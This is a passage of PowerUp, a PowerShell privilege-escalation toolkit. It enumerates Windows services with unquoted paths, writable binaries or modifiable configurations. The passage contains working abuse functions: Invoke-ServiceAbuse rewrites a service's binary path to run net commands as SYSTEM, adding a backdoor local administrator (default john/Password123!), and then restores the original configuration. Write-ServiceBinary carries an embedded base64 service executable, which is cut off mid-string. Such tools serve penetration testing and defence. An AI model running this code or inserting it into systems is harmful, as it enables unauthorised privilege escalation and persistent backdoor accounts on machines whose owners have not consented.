+Get a set of potentially exploitable services. + +.OUTPUTS + +PowerUp.UnquotedService + +.LINK + +https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.UnquotedService')] + [CmdletBinding()] + Param() + + # find all paths to service .exe's that have a space in the path and aren't quoted + $VulnServices = Get-WmiObject -Class win32_service | Where-Object { + $_ -and ($Null -ne $_.pathname) -and ($_.pathname.Trim() -ne '') -and (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'")) -and ($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf('.exe') + 4)) -match '.* .*' + } + + if ($VulnServices) { + ForEach ($Service in $VulnServices) { + + $SplitPathArray = $Service.pathname.Split(' ') + $ConcatPathArray = @() + for ($i=0;$i -lt $SplitPathArray.Count; $i++) { + $ConcatPathArray += $SplitPathArray[0..$i] -join ' ' + } + + $ModifiableFiles = $ConcatPathArray | Get-ModifiablePath + + $ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object { + $CanRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $Service.name + $Out | Add-Member Noteproperty 'Path' $Service.pathname + $Out | Add-Member Noteproperty 'ModifiablePath' $_ + $Out | Add-Member Noteproperty 'StartName' $Service.startname + $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -Path " + $Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart) + $Out | Add-Member Aliasproperty Name ServiceName + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.UnquotedService') + $Out + } + } + } +} + + +function Get-ModifiableServiceFile { +<# +.SYNOPSIS + +Enumerates all services and returns vulnerable service files. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Test-ServiceDaclPermission, Get-ModifiablePath + +.DESCRIPTION + +Enumerates all services by querying the WMI win32_service class. For each service, +it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine +if the current user has rights to modify the service binary itself or any associated +arguments. If the associated binary (or any configuration files) can be overwritten, +privileges may be able to be escalated. + +.EXAMPLE + +Get-ModifiableServiceFile + +Get a set of potentially exploitable service binares/config files. + +.OUTPUTS + +PowerUp.ModifiablePath +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.ModifiableServiceFile')] + [CmdletBinding()] + Param() + + Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object { + + $ServiceName = $_.name + $ServicePath = $_.pathname + $ServiceStartName = $_.startname + + $ServicePath | Get-ModifiablePath | ForEach-Object { + $CanRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $ServiceName + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceName + $Out | Add-Member Noteproperty 'Path' $ServicePath + $Out | Add-Member Noteproperty 'ModifiableFile' $_.ModifiablePath + $Out | Add-Member Noteproperty 'ModifiableFilePermissions' $_.Permissions + $Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference + $Out | Add-Member Noteproperty 'StartName' $ServiceStartName + $Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -Name '$ServiceName'" + $Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart) + $Out | Add-Member Aliasproperty Name ServiceName + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableServiceFile') + $Out + } + } +} + + +function Get-ModifiableService { +<# +.SYNOPSIS + +Enumerates all services and returns services for which the current user can modify the binPath. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Test-ServiceDaclPermission, Get-ServiceDetail + +.DESCRIPTION + +Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if +the current user has rights to change the service configuration. + +.EXAMPLE + +Get-ModifiableService + +Get a set of potentially exploitable services. + +.OUTPUTS + +PowerUp.ModifiablePath +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.ModifiableService')] + [CmdletBinding()] + Param() + + Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object { + $ServiceDetails = $_ | Get-ServiceDetail + $CanRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart' + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name + $Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname + $Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname + $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -Name '$($ServiceDetails.name)'" + $Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart) + $Out | Add-Member Aliasproperty Name ServiceName + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableService') + $Out + } +} + + +function Get-ServiceDetail { +<# +.SYNOPSIS + +Returns detailed information about a specified service by querying the +WMI win32_service class for the specified service name. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on +the pipeline object returned by Get-Service, extracts out the service name, queries the +WMI win32_service class for the specified service for details like binPath, and outputs +everything. + +.PARAMETER Name + +An array of one or more service names to query information for. + +.EXAMPLE + +Get-ServiceDetail -Name VulnSVC + +Gets detailed information about the 'VulnSVC' service. + +.EXAMPLE + +Get-Service VulnSVC | Get-ServiceDetail + +Gets detailed information about the 'VulnSVC' service. + +.OUTPUTS + +System.Management.ManagementObject +#> + + [OutputType('PowerUp.ModifiableService')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ServiceName')] + [String[]] + [ValidateNotNullOrEmpty()] + $Name + ) + + PROCESS { + ForEach($IndividualService in $Name) { + $TargetService = Get-Service -Name $IndividualService -ErrorAction Stop + if ($TargetService) { + Get-WmiObject -Class win32_service -Filter "Name='$($TargetService.Name)'" | Where-Object {$_} | ForEach-Object { + try { + $_ + } + catch { + Write-Verbose "Error: $_" + } + } + } + } + } +} + + +######################################################## +# +# Service abuse +# +######################################################## + +function Invoke-ServiceAbuse { +<# +.SYNOPSIS + +Abuses a function the current user has configuration rights on in order +to add a local administrator or execute a custom command. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Set-ServiceBinaryPath + +.DESCRIPTION + +Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current +user has configuration modification rights on and executes a series of automated actions to +execute commands as SYSTEM. First, the service is enabled if it was set as disabled and the +original service binary path and configuration state are preserved. Then the service is stopped +and the Set-ServiceBinaryPath function is used to set the binary (binPath) for the service to a +series of commands, the service is started, stopped, and the next command is configured. After +completion, the original service configuration is restored and a custom object is returned +that captures the service abused and commands run. + +.PARAMETER Name + +An array of one or more service names to abuse. + +.PARAMETER UserName + +The [domain\]username to add. If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. + +.PARAMETER Password + +The password to set for the added user. If not given, it defaults to "Password123!" + +.PARAMETER LocalGroup + +Local group name to add the user to (default of 'Administrators'). + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object specifying the user/password to add. + +.PARAMETER Command + +Custom command to execute instead of user creation. + +.PARAMETER Force + +Switch. Force service stopping, even if other services are dependent. + +.EXAMPLE + +Invoke-ServiceAbuse -Name VulnSVC + +Abuses service 'VulnSVC' to add a localuser "john" with password +"Password123! to the machine and local administrator group + +.EXAMPLE + +Get-Service VulnSVC | Invoke-ServiceAbuse + +Abuses service 'VulnSVC' to add a localuser "john" with password +"Password123! to the machine and local administrator group + +.EXAMPLE + +Invoke-ServiceAbuse -Name VulnSVC -UserName "TESTLAB\john" + +Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the +local adminisrtators group. + +.EXAMPLE + +Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup "Power Users" + +Abuses service 'VulnSVC' to add a localuser "backdoor" with password +"password" to the machine and local "Power Users" group + +.EXAMPLE + +Invoke-ServiceAbuse -Name VulnSVC -Command "net ..." + +Abuses service 'VulnSVC' to execute a custom command. + +.OUTPUTS + +PowerUp.AbusedService +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingUserNameAndPassWordParams', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerUp.AbusedService')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ServiceName')] + [String[]] + [ValidateNotNullOrEmpty()] + $Name, + + [ValidateNotNullOrEmpty()] + [String] + $UserName = 'john', + + [ValidateNotNullOrEmpty()] + [String] + $Password = 'Password123!', + + [ValidateNotNullOrEmpty()] + [String] + $LocalGroup = 'Administrators', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [String] + [ValidateNotNullOrEmpty()] + $Command, + + [Switch] + $Force + ) + + BEGIN { + + if ($PSBoundParameters['Command']) { + $ServiceCommands = @($Command) + } + + else { + if ($PSBoundParameters['Credential']) { + $UserNameToAdd = $Credential.UserName + $PasswordToAdd = $Credential.GetNetworkCredential().Password + } + else { + $UserNameToAdd = $UserName + $PasswordToAdd = $Password + } + + if ($UserNameToAdd.Contains('\')) { + # only adding a domain user to the local group, no user creation + $ServiceCommands = @("net localgroup $LocalGroup $UserNameToAdd /add") + } + else { + # create a local user and add it to the local specified group + $ServiceCommands = @("net user $UserNameToAdd $PasswordToAdd /add", "net localgroup $LocalGroup $UserNameToAdd /add") + } + } + } + + PROCESS { + + ForEach($IndividualService in $Name) { + + $TargetService = Get-Service -Name $IndividualService -ErrorAction Stop + $ServiceDetails = $TargetService | Get-ServiceDetail + + $RestoreDisabled = $False + if ($ServiceDetails.StartMode -match 'Disabled') { + Write-Verbose "Service '$(ServiceDetails.Name)' disabled, enabling..." + $TargetService | Set-Service -StartupType Manual -ErrorAction Stop + $RestoreDisabled = $True + } + + $OriginalServicePath = $ServiceDetails.PathName + $OriginalServiceState = $ServiceDetails.State + + Write-Verbose "Service '$($TargetService.Name)' original path: '$OriginalServicePath'" + Write-Verbose "Service '$($TargetService.Name)' original state: '$OriginalServiceState'" + + ForEach($ServiceCommand in $ServiceCommands) { + + if ($PSBoundParameters['Force']) { + $TargetService | Stop-Service -Force -ErrorAction Stop + } + else { + $TargetService | Stop-Service -ErrorAction Stop + } + + Write-Verbose "Executing command '$ServiceCommand'" + $Success = $TargetService | Set-ServiceBinaryPath -Path "$ServiceCommand" + + if (-not $Success) { + throw "Error reconfiguring the binary path for $($TargetService.Name)" + } + + $TargetService | Start-Service -ErrorAction SilentlyContinue + Start-Sleep -Seconds 2 + } + + if ($PSBoundParameters['Force']) { + $TargetService | Stop-Service -Force -ErrorAction Stop + } + else { + $TargetService | Stop-Service -ErrorAction Stop + } + + Write-Verbose "Restoring original path to service '$($TargetService.Name)'" + Start-Sleep -Seconds 1 + $Success = $TargetService | Set-ServiceBinaryPath -Path "$OriginalServicePath" + + if (-not $Success) { + throw "Error restoring the original binPath for $($TargetService.Name)" + } + + # try to restore the service to whatever the service's original state was + if ($RestoreDisabled) { + Write-Verbose "Re-disabling service '$($TargetService.Name)'" + $TargetService | Set-Service -StartupType Disabled -ErrorAction Stop + } + elseif ($OriginalServiceState -eq "Paused") { + Write-Verbose "Starting and then pausing service '$($TargetService.Name)'" + $TargetService | Start-Service + Start-Sleep -Seconds 1 + $TargetService | Set-Service -Status Paused -ErrorAction Stop + } + elseif ($OriginalServiceState -eq "Stopped") { + Write-Verbose "Leaving service '$($TargetService.Name)' in stopped state" + } + else { + Write-Verbose "Restarting '$($TargetService.Name)'" + $TargetService | Start-Service + } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceAbused' $TargetService.Name + $Out | Add-Member Noteproperty 'Command' $($ServiceCommands -join ' && ') + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.AbusedService') + $Out + } + } +} + + +function Write-ServiceBinary { +<# +.SYNOPSIS + +Patches in the specified command to a pre-compiled C# service executable and +writes the binary out to the specified ServicePath location. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Takes a pre-compiled C# service binary and patches in the appropriate commands needed +for service abuse. If a -UserName/-Password or -Credential is specified, the command +patched in creates a local user and adds them to the specified -LocalGroup, otherwise +the specified -Command is patched in. The binary is then written out to the specified +-ServicePath. Either -Name must be specified for the service, or a proper object from +Get-Service must be passed on the pipeline in order to patch in the appropriate service +name the binary will be running under. + +.PARAMETER Name + +The service name the EXE will be running under. + +.PARAMETER UserName + +The [domain\]username to add. If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. + +.PARAMETER Password + +The password to set for the added user. If not given, it defaults to "Password123!" + +.PARAMETER LocalGroup + +Local group name to add the user to (default of 'Administrators'). + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object specifying the user/password to add. + +.PARAMETER Command + +Custom command to execute instead of user creation. + +.PARAMETER Path + +Path to write the binary out to, defaults to 'service.exe' in the local directory. + +.EXAMPLE + +Write-ServiceBinary -Name VulnSVC + +Writes a service binary to service.exe in the local directory for VulnSVC that +adds a local Administrator (john/Password123!). + +.EXAMPLE + +Get-Service VulnSVC | Write-ServiceBinary + +Writes a service binary to service.exe in the local directory for VulnSVC that +adds a local Administrator (john/Password123!). + +.EXAMPLE + +Write-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john' + +Writes a service binary to service.exe in the local directory for VulnSVC that adds +TESTLAB\john to the Administrators local group. + +.EXAMPLE + +Write-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123! + +Writes a service binary to service.exe in the local directory for VulnSVC that +adds a local Administrator (backdoor/Password123!). + +.EXAMPLE + +Write-ServiceBinary -Name VulnSVC -Command "net ..." + +Writes a service binary to service.exe in the local directory for VulnSVC that +executes a custom command. + +.OUTPUTS + +PowerUp.ServiceBinary +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingUserNameAndPassWordParams', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerUp.ServiceBinary')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ServiceName')] + [String] + [ValidateNotNullOrEmpty()] + $Name, + + [String] + $UserName = 'john', + + [String] + $Password = 'Password123!', + + [String] + $LocalGroup = 'Administrators', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [String] + [ValidateNotNullOrEmpty()] + $Command, + + [String] + $Path = "$(Convert-Path .)\service.exe" + ) + + BEGIN { + # the raw unpatched service binary + $B64Binary = "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UmVmbGVjdGlvbgBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlDdWx0dXJlQXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBDb21WaXNpYmxlQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUAQXNzZW1ibHlWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnaW5nTW9kZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAElEaXNwb3NhYmxlAENvbnRhaW5lcgBTdHJpbmcAVHJpbQBzZXRfU2VydmljZU5hbWUAUHJvY2VzcwBTdGFydABTeXN0ZW0uVGhyZWFkaW5nAFRocmVhZABTbGVlcABFbnZpcm9ubWVudABFeGl0AFJ1bgAARUEAQQBBACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAL/3LwBDACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAg